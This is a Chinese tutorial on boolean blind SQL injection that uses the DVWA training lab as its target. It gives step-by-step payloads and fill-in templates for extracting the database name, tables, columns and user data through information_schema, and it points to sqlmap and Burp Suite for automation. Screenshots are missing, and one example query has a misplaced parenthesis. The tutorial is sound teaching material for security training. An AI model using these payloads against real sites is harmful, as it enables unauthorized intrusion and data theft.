布尔盲注(Boolean Blind SQL Injection)是一种SQL注入攻击技术,用于在无法直接获得查询结果的情况下推断数据库信息;它通过发送不同的SQL查询来观察应用程序的响应,进而判断查询的真假,并逐步推断出有用的信息。接着我们以DVWA靶场中的SQL Injection(Bind)
为例子进行解释;


可以看到该靶场只能显示数据库中是否存在该ID,并不会显示其他数据,那么此时我们就无法直接获得查询结果的情况下推断数据库信息,因此联合查询已经无法满足要求,那么我们就可以使用布尔盲注或其他的注入思想突破。
步骤:
①确定注入点以及注入类型
判断注入点和注入类型直接使用通过的判断语句进行即可;
若下列语句符合回显预期则为整型注入:
1 and 1=1 //正常回显
1 and 1=2 //无回显
此时的回显结果:


由该回显可得此注入点非整型注入
接着可以使用常规的判断字符型注入的语句来进行测试,若符合预期则可判定为字符型注入
1' and 1=1 # //正常回显
1' and 1=2 # //无回显
或
1" and 1=1 # //正常回显
1" and 1=2 # //无回显
此时回显结果为:


可以看到以单引号作为闭合符号的语句符合回显预期,此时注入类型就是字符型注入
②推测数据库信息
该步骤分为2个小步骤:1)推测数据库名长度
2)得到数据库名
推测数据库名长度
此时需要两个Mysql的函数帮助我们进行推测:①database()函数返回当前数据库的名称
②length()用于获取字符串长度
这两个函数正常使用,能够获取当前数据库名长度:
select length(database());

并且此时可以以此来判断当前数据库名的长度,可以看到当我们得到正确的数据库名长度时,将会得到true的结果。

那么此时的测试的语句为:
1' and length(database()) =1 #
1' and length(database()) =2 #
1' and length(database()) =3 #
1' and length(database()) =4 #

...

判断得到数据库名的长度为4。
得到数据库名
这个时候要得到数据库名则需要使用两个函数:
①ascii()
返回字符的ASCII码
②substr(str,start,length)
返回字符串从str的start开始往后截取length长度的字符
两个函数的正常使用:可以得到数据库名的所有字符的ascii码

100:d 118:v 119:w 97:a ===> dvwa
以此可以构建语句
1' and ascii(substr(database(),1,1)) > 90 # //判断数据库名第一个字符的ascii码是否大于90(接下去就是重复工作了,一个一个猜)
此时完整的查询语句
select id,email from member where username='1' and ascii(substr(database()),1,1) > 90 #'
猜对回显正常:

猜错回显异常:
1' and substr(database(),1,1) > 110 #

最后得到数据库名为dvwa
③推测数据库中的表信息
该步骤需要用到information_schema数据库且包含3小步:猜表的数量-->猜表的名称的长度-->猜表的名称
猜表的数量
此处需要使用到count
函数;COUNT()
函数是SQL中的一个聚合函数,用于计算指定列中的非空值的数量,它可以应用于不同的场景,如统计某个表中的行数、统计满足特定条件的行数等。
猜表数量的正常的使用:

这个时候可以构造语句得到表的数量:
1' and (select count(table_name) from information_schema.tables where table_schema="dvwa") = 2 #
还是猜,猜对了回显正常,猜错了回显异常:


猜表的名称的长度
这个时候通过得到的表的数量就可以去猜每个表的名称,此时需要使用到的子句和函数
①LIMIT
子句用于限制查询结果的数量(limit 0,1第一行/limit 1,1第二行....)
②substr(str,pos)
返回从pos开始的所有字符
③length()
获取表名长度
正常使用:
获取当前数据库第一个表的表名

获取当前数据库第一个表的表名的长度

此时可以构建语句进行测试:
1' and length(substr((select table_name from information_schema.tables where table_schema="dvwa" limit 0,1),1)) = 9 #
还是需要猜,长度猜对了回显正常,猜错了回显异常(可以配合大于号小于号进行猜测):


猜表的名称
此处猜测表的名称与上述猜数据库名一样即可;也是每张表名一个字符一个字符的猜:猜对回显正常,猜错回显异常。
1' and ascii(substr((select table_name from information_schema.tables where table_schema="dvwa" limit 0,1),1,1)) = 103 #


一个字符一个字符去猜(此处需要用到上述得到的表的个数和表名长度)
1' and ascii(substr((select table_name from information_schema.tables where table_schema="dvwa" limit 个数变量,1),长度变量,1)) = 103 #
最后可以得到的全部表:

④推测数据列信息
此步也分为几个小步骤:猜列的数量-->猜列的长度-->列的名称;方法与上述求表一致只不过需要改一下指定的表以及限定要读取的表即可;以下为模板套着用就好了。
猜列的数量(需要用到上述得到的表名)
1' and (select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='表名')=数字 #
猜列名的长度(需要用到表名、获取的列的数量)
1' and length(substr((select column_name from information_schema.columns where table_schema='dvwa' and table_name='表名' limit 列的数量,1 ),1))=长度数字#
列的名称(需要用到表名、获取的列的数量、列名的长度)
1' and ascii(substr( ( select column_name from information_schema.columns where table_schema='dvwa' and table_name='表名' limit 列的数量,1 ) ,1~列名的长度,1) )=ASCII码#
最后可以得到表的全部列(此处以users表为例子)

⑤推测数据
该步骤分为两小步:1)猜测当前数据的长度
2)猜测数据内容
1)猜测当前数据的长度
具体思路与上述一样,直接上模板
1' and length(substr((select 列名 from 表名 limit 0-列的数量,1 ),1))=ASCII码#
如此时我要判断users表中的user列第一行的数据长度,猜测该段是否为5
1' and length(substr((select user from users limit 0,1 ),1))=5#

猜对回显正常,猜错回显异常;

2)猜测数据内容
判断数据第一个字符的ascii码值
1' and ascii(substr((select 列名 from 表名 limit 0~数据个数-1,1),1~数据名称长度,1))=ASCII码 #
接下去就是重复工作了,手工布尔盲注比较麻烦,建议还是根据该文章的思路写个脚本结合二分法进行自动化突破,或者使用Sqlmap
、Burpsuite
工具进行数据拖取。